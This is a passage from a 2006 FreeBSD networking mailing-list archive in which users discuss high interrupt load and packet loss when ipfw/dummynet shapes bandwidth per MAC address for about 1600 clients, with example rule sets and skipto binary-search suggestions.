ZX7i5HkR6mTit9/ovF/SUCft+2UapqYEu1sLPKuqEHfA2p8c5mjkJHnUYz2KR+4Z1UtvmTmN NwdaWfWfCzL/stJfR/qpNNqZLaDpBiytj4ECAwEAAaOCAgwwggIIMAkGA1UdEwQCMAAwHQYD VR0RBBYwFIEScGF1bHNAdXRkYWxsYXMuZWR1MIIBJAYDVR0gBIIBGzCCARcwggETBgtghkgB hvhFAQcBBjCCAQIwKwYIKwYBBQUHAgEWH2h0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEt a3IwgdIGCCsGAQUFBwICMIHFGoHCTk9USUNFOiBQcml2YXRlIGtleSBtYXkgYmUgcmVjb3Zl cmVkIGJ5IFZlcmlTaWduJ3MgY3VzdG9tZXIgd2hvIG1heSBiZSBhYmxlIHRvIGRlY3J5cHQg bWVzc2FnZXMgeW91IHNlbmQgdG8gY2VydGlmaWNhdGUgaG9sZGVyLiAgVXNlIGlzIHN1Ympl Y3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OS4w EQYJYIZIAYb4QgEBBAQDAgeAMHUGA1UdHwRuMGwwaqBooGaGZGh0dHA6Ly9vbnNpdGVjcmwu dmVyaXNpZ24uY29tL1RoZVVuaXZlcnNpdHlvZlRleGFzU3lzdGVtVGhlVW5pdmVyc2l0eW9m VGV4YXNhdERhbGxhc0NBL0xhdGVzdENSTC5jcmwwCwYDVR0PBAQDAgUgMB0GA1UdJQQWMBQG CCsGAQUFBwMEBggrBgEFBQcDAjANBgkqhkiG9w0BAQQFAAOBgQArtwI07378ACzBYQlXjg4u 4Ex2FlHoY3C5cWuTkXyzqJyU2ttpgxzzMTjYgqNeHdA3I360rCDSp/LCuNKhLQ9PdU/9LcU3 duD6KJU3cG4UrmfUXecXFdWj2wnp0Pkiq6YoSPQQ946dpq1BvWxE2W8J9f09tuR3Jjfgf1ST +qMgwTGCBIcwggSDAgEBMIH/MIHqMScwJQYDVQQKEx5UaGUgVW5pdmVyc2l0eSBvZiBUZXhh cyBTeXN0ZW0xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOzA5BgNVBAsTMlRl cm1zIG9mIHVzZSBhdCBodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhIChjKTk5MTIwMAYD VQQLEylDbGFzcyAyIENBIC0gT25TaXRlIEluZGl2aWR1YWwgU3Vic2NyaWJlcjEtMCsGA1UE AxMkVGhlIFVuaXZlcnNpdHkgb2YgVGV4YXMgYXQgRGFsbGFzIENBAhAhQ2wPNrJWs2gXrRmR cAj6MAkGBSsOAwIaBQCgggLdMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcN AQkFMQ8XDTA2MDUwMjIxNDg0OVowIwYJKoZIhvcNAQkEMRYEFMQU8OGv7w6O3Kaojav3T16d Np+vMFIGCSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqG SIb3DQMCAgFAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIIBEQYJKwYBBAGCNxAEMYIBAjCB /zCB6jEnMCUGA1UEChMeVGhlIFVuaXZlcnNpdHkgb2YgVGV4YXMgU3lzdGVtMR8wHQYDVQQL ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTswOQYDVQQLEzJUZXJtcyBvZiB1c2UgYXQgaHR0 cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYSAoYyk5OTEyMDAGA1UECxMpQ2xhc3MgMiBDQSAt IE9uU2l0ZSBJbmRpdmlkdWFsIFN1YnNjcmliZXIxLTArBgNVBAMTJFRoZSBVbml2ZXJzaXR5 IG9mIFRleGFzIGF0IERhbGxhcyBDQQIQPzPhdzYQCWxtZCkhSwOckTCCARMGCyqGSIb3DQEJ EAILMYIBAqCB/zCB6jEnMCUGA1UEChMeVGhlIFVuaXZlcnNpdHkgb2YgVGV4YXMgU3lzdGVt MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTswOQYDVQQLEzJUZXJtcyBvZiB1 c2UgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYSAoYyk5OTEyMDAGA1UECxMpQ2xh c3MgMiBDQSAtIE9uU2l0ZSBJbmRpdmlkdWFsIFN1YnNjcmliZXIxLTArBgNVBAMTJFRoZSBV bml2ZXJzaXR5IG9mIFRleGFzIGF0IERhbGxhcyBDQQIQPzPhdzYQCWxtZCkhSwOckTANBgkq hkiG9w0BAQEFAASBgL9mYaQNN3acfLBMzKPnReip+QLYWaY2tTZFbIOPtpM0fmYWRnaMm8pK KUFQQBAKcKNsGwS5OrzO3xjvPaftrRnjnapVnJRsyUsh4c3yJBXAAP4bXSVwbtavNtLTnRHl dUN2syP6LE+9QA0F8jX8/kE6w9JCcCFhNhBLXzUFGyrEAAAAAAAA --------------ms050701030405010009010705-- From owner-freebsd-net@FreeBSD.ORG Wed May 3 00:27:59 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5D06B16A401 for ; Wed, 3 May 2006 00:27:59 +0000 (UTC) (envelope-from tpeixoto@widesoft.com.br) Received: from srv1.netconsultoria.com.br (srv1.netconsultoria.com.br [200.230.201.252]) by mx1.FreeBSD.org (Postfix) with ESMTP id 107A043D49 for ; Wed, 3 May 2006 00:27:57 +0000 (GMT) (envelope-from tpeixoto@widesoft.com.br) Received: from [192.168.0.1] (mailgw.netconsultoria.com.br [200.230.201.249]) by srv1.netconsultoria.com.br (8.13.6/8.13.3) with ESMTP id k430RWER059684; Tue, 2 May 2006 21:27:32 -0300 (BRT) (envelope-from tpeixoto@widesoft.com.br) Message-ID: <4457F905.4050503@widesoft.com.br> Date: Tue, 02 May 2006 21:27:49 -0300 From: tpeixoto@widesoft.com.br User-Agent: Thunderbird 1.5.0.2 (Windows/20060308) MIME-Version: 1.0 To: Julian Elischer References: <49594.200.230.201.250.1146063341.squirrel@www.widemail.com.br> <444F8E89.2050905@wildcard.net.uk> <56286.200.230.201.250.1146067775.squirrel@www.widemail.com.br> <1146073590.1089.80.camel@sky.mediasat.ro> <59615.200.230.201.250.1146083577.squirrel@www.widemail.com.br> <445038CA.2050008@pacific.net.sg> <4456AD8E.2060703@widesoft.com.br> <4456B415.3080901@elischer.org> <4456BF4A.7050107@widesoft.com.br> <4456D19F.7030101@elischer.org> <4456D553.30202@elischer.org> <4456D6A3.8080503@elischer.org> <59701.200.230.201.250.1146589752.squirrel@www.widemail.com.br> <44579F89.6020703@elischer.org> In-Reply-To: <44579F89.6020703@elischer.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.88.2, clamav-milter version 0.88.2 on srv1.netconsultoria.com.br X-Virus-Status: Clean Cc: Lee Johnston , freebsd-net@freebsd.org, mihai@duras.ro Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 May 2006 00:27:59 -0000 Julian Elischer wrote: > tpeixoto@widesoft.com.br wrote: > >> Hello. >> I think I should give some 'real world' examples. >> >> >> /etc/rc.firewall: >> >> [Ss][Hh][Aa][Pp][Ee][Rr]) >> setup_loopback >> >> . /etc/rc.shaper >> >> ${fwcmd} add 65000 pass all from any to any >> ;; >> >> >> /etc/rc.shaper: >> >> ${fwcmd} pipe 1 config bw 512Kbit/s >> ${fwcmd} pipe 2 config bw 512Kbit/s >> ${fwcmd} add pipe 1 all from any to any MAC any 00:11:22:33:44:55 in >> ${fwcmd} add pipe 2 all from any to any MAC 00:11:22:33:44:55 any out >> ${fwcmd} pipe 3 config bw 256Kbit/s >> ${fwcmd} pipe 4 config bw 256Kbit/s >> ${fwcmd} add pipe 3 all from any to any MAC any 66:77:88:99:aa:bb in >> ${fwcmd} add pipe 4 all from any to any MAC 66:77:88:99:aa:bb any out >> ${fwcmd} pipe 5 config bw 128Kbit/s >> ${fwcmd} pipe 6 config bw 128Kbit/s >> ${fwcmd} add pipe 5 all from any to any MAC any 00:01:02:03:04:05 in >> ${fwcmd} add pipe 6 all from any to any MAC 00:01:02:03:04:05 any out >> ${fwcmd} pipe 7 config bw 512Kbit/s >> ${fwcmd} pipe 8 config bw 1024Kbit/s >> ${fwcmd} add pipe 7 all from any to any MAC any 06:07:08:09:0a:0b in >> ${fwcmd} add pipe 8 all from any to any MAC 06:07:08:09:0a:0b any out >> ${fwcmd} pipe 9 config bw 64Kbit/s >> ${fwcmd} pipe 10 config bw 64Kbit/s >> ${fwcmd} add pipe 9 all from any to any MAC any ab:cd:ef:00:11:22 in >> ${fwcmd} add pipe 10 all from any to any MAC ab:cd:ef:00:11:22 any out >> >> > OK, so, put the MACs in numerical order: > > 00:01:02:03:04:05 > 00:11:22:33:44:55 > 06:07:08:09:0a:0b > 66:77:88:99:aa:bb > ab:cd:ef:00:11:22 > > > work out MASKS that divide them into a binary set. > > e.g. > 1 skipto 10 all from any to not MAC 00:00:00:00:00:00/8 > 2 skipto 5 all from any to not MAC 00:01:00:00:00:00/16 > 3 pipe 1 ip from any to any > 5 pipe 2 ip from any to any > > 10 skipto 12 all from any to not MAC 06:00:00:00:00:00/8 > 11 pipe 3 all from any to any > 12 skipto 14 all from any to not MAC 66:00:00:00:00:00/8 > 13 pipe 4 all from any to any > 14 pipe 5 all from any to any > > now, if you continue this on, you will run 16 rules to divide the 1600 > rules up to find the right pipe. > I got your point. But what I am telling is that it's not the search or it's not _only_ the search in the firewall rules that is making the interrupts go high. Please, see below. >> >> This example is for 5 clients. We have 1600. >> As you can see, there are 2 rules and 2 pipes per host, not 1600. >> >> >> If we try rc.firewall like this... >> >> setup_loopback >> ${fwcmd} add 65000 pass all from any to any >> >> ... we are ok. Interrupts are low. >> >> So, following your line of thought, I tried a simple test... >> >> setup_loopback >> ${fwcmd} skipto 65000 ip from any to any MAC any any >> . /etc/rc.shaper >> ${fwcmd} add 65000 pass all from any to any >> >> This way, the packets will never pass through shaper rules, but >> interrupts >> still get very high. >> >> > > I don't see how that proves anything > See, if we have just 4 rules in the kernel (3 from setup_loopback + allow any to any), we don't have problems with interrupts. They are low, about 15~20% with the same traffic. But, if we have a 'full' set of rules, let's say 3205 (3 from setup_loopback + skipto 65000 + 3200 pipes + allow any to any), where only 5 of them are being matched (setup_loopback, 'skipto 65000' and 'allow any to any' - the skipto 65000 rule prevents any packet to search through my 3200 pipes, right?), we still see interrupts go to 70~90%. So, what I am saying is that even if we use skipto rules to create 'shortcuts' in the firewall stack, the system still uses lots of interrupts. It seems that no matter whether the packets are being checked against the rules or not, as long there are so many rules, the interrupts will be generated. Let me know if you got my point. I'll do some more tests reducing the number of pipes while keeping the same amount of rules to see whether this has some effect in the interrupts. BTW: I tested your other suggestion about splitting 'in' and 'out' rules but it made no difference regarding system interrupts. Thanks again! >> Basically, we need a solution to shape each MAC address with its >> specifics >> download e upload speeds. >> Given the tests, I don't see how skipto can help, but if you believe that >> tablearg (which I am not familiar with) might help, we can try it with >> 7.x. >> >> > > Tablearg only works with IP addresses. > >> Thanks. >> >> >> >> >>> oops, forgot to fix my cut-n- pastes.. corrected triage below.. >>> >>> >>> Julian Elischer wrote: >>> >>> >>>> Julian Elischer wrote: >>>> >>>> >>>>> tpeixoto@widesoft.com.br wrote: >>>>> >>>>> >>>>>>> That would do it.. >>>>>>> >>>>>>> In all versions of FreeBSD >>>>>>> you can use the skipto rule to make sure that only a few rules are >>>>>>> run for any >>>>>>> address. Use it to to a binary search for the right pipe.' >>>>>>> carefully using 'skipto' and 'table' can make it efficient to do >>>>>>> very complex >>>>>>> filters like that. >>>>>>> >>>>>>> >>>>>> Sorry, but I didn't realized how to use that as we have to shape >>>>>> each user individually, i.e., each MAC address on the LAN has its >>>>>> own download and upload speeds. >>>>>> >>>>>> Could you clarify how to improve the situation with the tools you >>>>>> mentioned? >>>>>> >>>>> >>>>> >>>>> >>>>> Assuming you can not use "tablearg" yet (it will make this REALLY >>>>> EASY) >>>>> then if you have 30 IPs you want to shape from 1.1.1.1 to 1.1.1.30 >>>>> >>>> >>>> >>>> then, consider the following example using IP addresses. >>>> >>>> >>>>> >>>>> >>>> ipfw add 1000 skipto 1110 ip from any to 1.1.1.16/28 >>>> ipfw add 1010 skipto 1032 ip from any to 1.1.1.8/29 >>>> ipfw add 1012 skipto 1021 ip from any to 1.1.1.4./30 >>>> >>>> ipfw add 1013 [anything] ip from any to 1.1.1.0 >>>> >>>> ipfw add 1014 [anything] ip from any to 1.1.1.1 >>>> ipfw add 1015 [anything] ip from any to 1.1.1.2 >>>> ipfw add 1016 [anything] ip from any to 1.1.1.3 >>>> >>>> >>>> ipfw add 1021 anything] ip from any to 1.1.1.4 >>>> ipfw add 1022 [anything] ip from any to 1.1.1.5 >>>> ipfw add 1023 [anything] ip from any to 1.1.1.6 >>>> ipfw add 1024 [anything] ip from any to 1.1.1.7 >>>> >>>> >>>> ipfw add 1032 skipto 1051 ip from any to 1.1.1.12./30 >>>> >>>> ipfw add 1040 [anything] ip from any to 1.1.1.8 >>>> ipfw add 1041 [anything] ip from any to 1.1.1.9 >>>> ipfw add 1042 [anything] ip from any to 1.1.1.10 >>>> ipfw add 1043 [anything] ip from any to 1.1.1.11 >>>> >>>> >>>> ipfw add 1051 [anything] ip from any to 1.1.1.12 >>>> ipfw add 1052 [anything] ip from any to 1.1.1.13 >>>> ipfw add 1053 [anything] ip from any to 1.1.1.14 >>>> ipfw add 1054 [anything] ip from any to 1.1.1.15 >>>> >>>> >>>> ipfw add 1110 skipto 1132 ip from any to 1.1.1.24/29 >>>> ipfw add 1112 skipto 1121 ip from any to 1.1.1.20./30 >>>> ipfw add 1113 [anything] ip from any to 1.1.1.16 >>>> ipfw add 1114 [anything] ip from any to 1.1.1.17 >>>> ipfw add 1115 [anything] ip from any to 1.1.1.18 >>>> >>>> ipfw add 1116 [anything] ip from any to 1.1.1.19 >>>> >>>> ipfw add 1121 anything] ip from any to 1.1.1.20 >>>> ipfw add 1122 [anything] ip from any to 1.1.1.21 >>>> ipfw add 1123 [anything] ip from any to 1.1.1.22 >>>> ipfw add 1124 [anything] ip from any to 1.1.1.23 >>>> >>>> >>>> ipfw add 1132 skipto 1151 ip from any to 1.1.1.28./30 >>>> >>>> ipfw add 1140 [anything] ip from any to 1.1.1.24 >>>> ipfw add 1141 [anything] ip from any to 1.1.1.25 >>>> ipfw add 1142 [anything] ip from any to 1.1.1.26 >>>> ipfw add 1143 [anything] ip from any to 1.1.1.27 >>>> >>>> >>>> ipfw add 1151 [anything] ip from any to 1.1.1.28 >>>> ipfw add 1152 [anything] ip from any to 1.1.1.29 >>>> ipfw add 1153 [anything] ip from any to 1.1.1.30 >>>> ipfw add 1154 [anything] ip from any to 1.1.1.31 >>>> >>>> >>>> >>>> >>>> >>>> now this example shows a binary search in IP space, written (including >>>> bugs) by hand >>>> but if you are willing to write a suitable perl script, you can >>>> generate a binary search in MAC address space >>>> just as easily. just sort them into order and search.. >>>> >>>> I'm not going to try it by had, but for 1600 hosts you should only >>>> need to go through >>>> 15 rules per host on average, instead of 1600 rules per host. >>>> that should cut down your ipfw cpu usage by 1/100 >>>> >>>> >>>> >>>> >>>>> freebsd.org" >>>>> >> >> >> > From owner-freebsd-net@FreeBSD.ORG Wed May 3 00:38:14 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 50BE616A403 for ; Wed, 3 May 2006 00:38:14 +0000 (UTC) (envelope-from julian@elischer.org) Received: from a50.ironport.com (a50.ironport.com [63.251.108.112]) by mx1.FreeBSD.org (Postfix) with ESMTP id DD7D143D46 for ; Wed, 3 May 2006 00:38:13 +0000 (GMT) (envelope-from julian@elischer.org) Received: from unknown (HELO [10.251.23.118]) ([10.251.23.118]) by a50.ironport.com with ESMTP; 02 May 2006 17:38:12 -0700 Message-ID: <4457FB74.1010202@elischer.org> Date: Tue, 02 May 2006 17:38:12 -0700 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.13) Gecko/20060414 X-Accept-Language: en-us, en MIME-Version: 1.0 To: tpeixoto@widesoft.com.br References: <49594.200.230.201.250.1146063341.squirrel@www.widemail.com.br> <444F8E89.2050905@wildcard.net.uk> <56286.200.230.201.250.1146067775.squirrel@www.widemail.com.br> <1146073590.1089.80.camel@sky.mediasat.ro> <59615.200.230.201.250.1146083577.squirrel@www.widemail.com.br> <445038CA.2050008@pacific.net.sg> <4456AD8E.2060703@widesoft.com.br> <4456B415.3080901@elischer.org> <4456BF4A.7050107@widesoft.com.br> <4456D19F.7030101@elischer.org> <4456D553.30202@elischer.org> <4456D6A3.8080503@elischer.org> <59701.200.230.201.250.1146589752.squirrel@www.widemail.com.br> <44579F89.6020703@elischer.org> <4457F905.4050503@widesoft.com.br> In-Reply-To: <4457F905.4050503@widesoft.com.br> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: Lee Johnston , freebsd-net@freebsd.org, mihai@duras.ro Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 May 2006 00:38:14 -0000 tpeixoto@widesoft.com.br wrote: ok gotcha probably the pipes are stored in a list or something. check the code and see if a hash table woudl be better.. > > Julian Elischer wrote: > >> tpeixoto@widesoft.com.br wrote: >> >>> Hello. >>> I think I should give some 'real world' examples. >>> >>> >>> /etc/rc.firewall: >>> >>> [Ss][Hh][Aa][Pp][Ee][Rr]) >>> setup_loopback >>> >>> . /etc/rc.shaper >>> >>> ${fwcmd} add 65000 pass all from any to any >>> ;; >>> >>> >>> /etc/rc.shaper: >>> >>> ${fwcmd} pipe 1 config bw 512Kbit/s >>> ${fwcmd} pipe 2 config bw 512Kbit/s >>> ${fwcmd} add pipe 1 all from any to any MAC any 00:11:22:33:44:55 in >>> ${fwcmd} add pipe 2 all from any to any MAC 00:11:22:33:44:55 any out >>> ${fwcmd} pipe 3 config bw 256Kbit/s >>> ${fwcmd} pipe 4 config bw 256Kbit/s >>> ${fwcmd} add pipe 3 all from any to any MAC any 66:77:88:99:aa:bb in >>> ${fwcmd} add pipe 4 all from any to any MAC 66:77:88:99:aa:bb any out >>> ${fwcmd} pipe 5 config bw 128Kbit/s >>> ${fwcmd} pipe 6 config bw 128Kbit/s >>> ${fwcmd} add pipe 5 all from any to any MAC any 00:01:02:03:04:05 in >>> ${fwcmd} add pipe 6 all from any to any MAC 00:01:02:03:04:05 any out >>> ${fwcmd} pipe 7 config bw 512Kbit/s >>> ${fwcmd} pipe 8 config bw 1024Kbit/s >>> ${fwcmd} add pipe 7 all from any to any MAC any 06:07:08:09:0a:0b in >>> ${fwcmd} add pipe 8 all from any to any MAC 06:07:08:09:0a:0b any out >>> ${fwcmd} pipe 9 config bw 64Kbit/s >>> ${fwcmd} pipe 10 config bw 64Kbit/s >>> ${fwcmd} add pipe 9 all from any to any MAC any ab:cd:ef:00:11:22 in >>> ${fwcmd} add pipe 10 all from any to any MAC ab:cd:ef:00:11:22 any out >>> >>> >> OK, so, put the MACs in numerical order: >> >> 00:01:02:03:04:05 >> 00:11:22:33:44:55 >> 06:07:08:09:0a:0b >> 66:77:88:99:aa:bb >> ab:cd:ef:00:11:22 >> >> >> work out MASKS that divide them into a binary set. >> >> e.g. >> 1 skipto 10 all from any to not MAC 00:00:00:00:00:00/8 >> 2 skipto 5 all from any to not MAC 00:01:00:00:00:00/16 >> 3 pipe 1 ip from any to any >> 5 pipe 2 ip from any to any >> >> 10 skipto 12 all from any to not MAC 06:00:00:00:00:00/8 >> 11 pipe 3 all from any to any >> 12 skipto 14 all from any to not MAC 66:00:00:00:00:00/8 >> 13 pipe 4 all from any to any >> 14 pipe 5 all from any to any >> >> now, if you continue this on, you will run 16 rules to divide the >> 1600 rules up to find the right pipe. >> > > I got your point. > But what I am telling is that it's not the search or it's not _only_ > the search in the firewall rules that is making the interrupts go high. > Please, see below. > > >>> >>> This example is for 5 clients. We have 1600. >>> As you can see, there are 2 rules and 2 pipes per host, not 1600. >>> >>> >>> If we try rc.firewall like this... >>> >>> setup_loopback >>> ${fwcmd} add 65000 pass all from any to any >>> >>> ... we are ok. Interrupts are low. >>> >>> So, following your line of thought, I tried a simple test... >>> >>> setup_loopback >>> ${fwcmd} skipto 65000 ip from any to any MAC any any >>> . /etc/rc.shaper >>> ${fwcmd} add 65000 pass all from any to any >>> >>> This way, the packets will never pass through shaper rules, but >>> interrupts >>> still get very high. >>> >>> >> >> I don't see how that proves anything >> > > See, if we have just 4 rules in the kernel (3 from setup_loopback + > allow any to any), we don't have problems with interrupts. They are > low, about 15~20% with the same traffic. > But, if we have a 'full' set of rules, let's say 3205 (3 from > setup_loopback + skipto 65000 + 3200 pipes + allow any to any), where > only 5 of them are being matched (setup_loopback, 'skipto 65000' and > 'allow any to any' - the skipto 65000 rule prevents any packet to > search through my 3200 pipes, right?), we still see interrupts go to > 70~90%. > So, what I am saying is that even if we use skipto rules to create > 'shortcuts' in the firewall stack, the system still uses lots of > interrupts. It seems that no matter whether the packets are being > checked against the rules or not, as long there are so many rules, the > interrupts will be generated. > > Let me know if you got my point. > I'll do some more tests reducing the number of pipes while keeping the > same amount of rules to see whether this has some effect in the > interrupts. > > BTW: I tested your other suggestion about splitting 'in' and 'out' > rules but it made no difference regarding system interrupts. > > Thanks again! > > >>> Basically, we need a solution to shape each MAC address with its >>> specifics >>> download e upload speeds. >>> Given the tests, I don't see how skipto can help, but if you believe >>> that >>> tablearg (which I am not familiar with) might help, we can try it with >>> 7.x. >>> >>> >> >> Tablearg only works with IP addresses. >> >>> Thanks. >>> >>> >>> >>> >>>> oops, forgot to fix my cut-n- pastes.. corrected triage below.. >>>> >>>> >>>> Julian Elischer wrote: >>>> >>>> >>>> >>>>> Julian Elischer wrote: >>>>> >>>>> >>>>> >>>>>> tpeixoto@widesoft.com.br wrote: >>>>>> >>>>>> >>>>>> >>>>>>>> That would do it.. >>>>>>>> >>>>>>>> In all versions of FreeBSD >>>>>>>> you can use the skipto rule to make sure that only a few rules are >>>>>>>> run for any >>>>>>>> address. Use it to to a binary search for the right pipe.' >>>>>>>> carefully using 'skipto' and 'table' can make it efficient to do >>>>>>>> very complex >>>>>>>> filters like that. >>>>>>>> >>>>>>>> >>>>>>> >>>>>>> Sorry, but I didn't realized how to use that as we have to shape >>>>>>> each user individually, i.e., each MAC address on the LAN has its >>>>>>> own download and upload speeds. >>>>>>> >>>>>>> Could you clarify how to improve the situation with the tools you >>>>>>> mentioned? >>>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> Assuming you can not use "tablearg" yet (it will make this REALLY >>>>>> EASY) >>>>>> then if you have 30 IPs you want to shape from 1.1.1.1 to 1.1.1.30 >>>>>> >>>>> >>>>> >>>>> >>>>> then, consider the following example using IP addresses. >>>>> >>>>> >>>>> >>>>>> >>>>>> >>>>> >>>>> ipfw add 1000 skipto 1110 ip from any to 1.1.1.16/28 >>>>> ipfw add 1010 skipto 1032 ip from any to 1.1.1.8/29 >>>>> ipfw add 1012 skipto 1021 ip from any to 1.1.1.4./30 >>>>> ipfw add 1013 [anything] ip from any to 1.1.1.0 >>>>> ipfw add 1014 [anything] ip from any to 1.1.1.1 >>>>> ipfw add 1015 [anything] ip from any to 1.1.1.2 >>>>> ipfw add 1016 [anything] ip from any to 1.1.1.3 >>>>> >>>>> >>>>> ipfw add 1021 anything] ip from any to 1.1.1.4 >>>>> ipfw add 1022 [anything] ip from any to 1.1.1.5 >>>>> ipfw add 1023 [anything] ip from any to 1.1.1.6 >>>>> ipfw add 1024 [anything] ip from any to 1.1.1.7 >>>>> >>>>> >>>>> ipfw add 1032 skipto 1051 ip from any to 1.1.1.12./30 >>>>> >>>>> ipfw add 1040 [anything] ip from any to 1.1.1.8 >>>>> ipfw add 1041 [anything] ip from any to 1.1.1.9 >>>>> ipfw add 1042 [anything] ip from any to 1.1.1.10 >>>>> ipfw add 1043 [anything] ip from any to 1.1.1.11 >>>>> >>>>> >>>>> ipfw add 1051 [anything] ip from any to 1.1.1.12 >>>>> ipfw add 1052 [anything] ip from any to 1.1.1.13 >>>>> ipfw add 1053 [anything] ip from any to 1.1.1.14 >>>>> ipfw add 1054 [anything] ip from any to 1.1.1.15 >>>>> >>>>> >>>>> ipfw add 1110 skipto 1132 ip from any to 1.1.1.24/29 >>>>> ipfw add 1112 skipto 1121 ip from any to 1.1.1.20./30 >>>>> ipfw add 1113 [anything] ip from any to 1.1.1.16 >>>>> ipfw add 1114 [anything] ip from any to 1.1.1.17 >>>>> ipfw add 1115 [anything] ip from any to 1.1.1.18 >>>>> ipfw add 1116 [anything] ip from any to 1.1.1.19 >>>>> ipfw add 1121 anything] ip from any to 1.1.1.20 >>>>> ipfw add 1122 [anything] ip from any to 1.1.1.21 >>>>> ipfw add 1123 [anything] ip from any to 1.1.1.22 >>>>> ipfw add 1124 [anything] ip from any to 1.1.1.23 >>>>> >>>>> >>>>> ipfw add 1132 skipto 1151 ip from any to 1.1.1.28./30 >>>>> >>>>> ipfw add 1140 [anything] ip from any to 1.1.1.24 >>>>> ipfw add 1141 [anything] ip from any to 1.1.1.25 >>>>> ipfw add 1142 [anything] ip from any to 1.1.1.26 >>>>> ipfw add 1143 [anything] ip from any to 1.1.1.27 >>>>> >>>>> >>>>> ipfw add 1151 [anything] ip from any to 1.1.1.28 >>>>> ipfw add 1152 [anything] ip from any to 1.1.1.29 >>>>> ipfw add 1153 [anything] ip from any to 1.1.1.30 >>>>> ipfw add 1154 [anything] ip from any to 1.1.1.31 >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> now this example shows a binary search in IP space, written >>>>> (including >>>>> bugs) by hand >>>>> but if you are willing to write a suitable perl script, you can >>>>> generate a binary search in MAC address space >>>>> just as easily. just sort them into order and search.. >>>>> >>>>> I'm not going to try it by had, but for 1600 hosts you should only >>>>> need to go through >>>>> 15 rules per host on average, instead of 1600 rules per host. >>>>> that should cut down your ipfw cpu usage by 1/100 >>>>> >>>>> >>>>> >>>>> >>>>> >>>>>> freebsd.org" >>>>>> >>>>> >>> >>> >>> >> From owner-freebsd-net@FreeBSD.ORG Wed May 3 00:52:23 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 92F3A16A403 for ; Wed, 3 May 2006 00:52:23 +0000 (UTC) (envelope-from jmg@hydrogen.funkthat.com) Received: from hydrogen.funkthat.com (gate.funkthat.com [69.17.45.168]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8BD6943D4C for ; Wed, 3 May 2006 00:52:19 +0000 (GMT) (envelope-from jmg@hydrogen.funkthat.com) Received: from hydrogen.funkthat.com (3jypbmpi9qs7981d@localhost.funkthat.com [127.0.0.1]) by hydrogen.funkthat.com (8.13.4/8.13.3) with ESMTP id k430qCXo015255; Tue, 2 May 2006 17:52:12 -0700 (PDT) (envelope-from jmg@hydrogen.funkthat.com) Received: (from jmg@localhost) by hydrogen.funkthat.com (8.13.4/8.13.3/Submit) id k430q7b8015254; Tue, 2 May 2006 17:52:07 -0700 (PDT) (envelope-from jmg) Date: Tue, 2 May 2006 17:52:07 -0700 From: John-Mark Gurney To: Julian Elischer Message-ID: <20060503005207.GT728@funkthat.com> Mail-Followup-To: Julian Elischer , tpeixoto@widesoft.com.br, Lee Johnston , freebsd-net@freebsd.org, mihai@duras.ro References: <4456AD8E.2060703@widesoft.com.br> <4456B415.3080901@elischer.org> <4456BF4A.7050107@widesoft.com.br> <4456D19F.7030101@elischer.org> <4456D553.30202@elischer.org> <4456D6A3.8080503@elischer.org> <59701.200.230.201.250.1146589752.squirrel@www.widemail.com.br> <44579F89.6020703@elischer.org> <4457F905.4050503@widesoft.com.br> <4457FB74.1010202@elischer.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4457FB74.1010202@elischer.org> User-Agent: Mutt/1.4.2.1i X-Operating-System: FreeBSD 5.4-RELEASE-p6 i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html Cc: Lee Johnston , freebsd-net@freebsd.org, mihai@duras.ro Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: John-Mark Gurney List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 May 2006 00:52:23 -0000 Julian Elischer wrote this message on Tue, May 02, 2006 at 17:38 -0700: > tpeixoto@widesoft.com.br wrote: > > ok gotcha > > > probably the pipes are stored in a list or something. > > check the code and see if a hash table woudl be better.. Looks like it's already 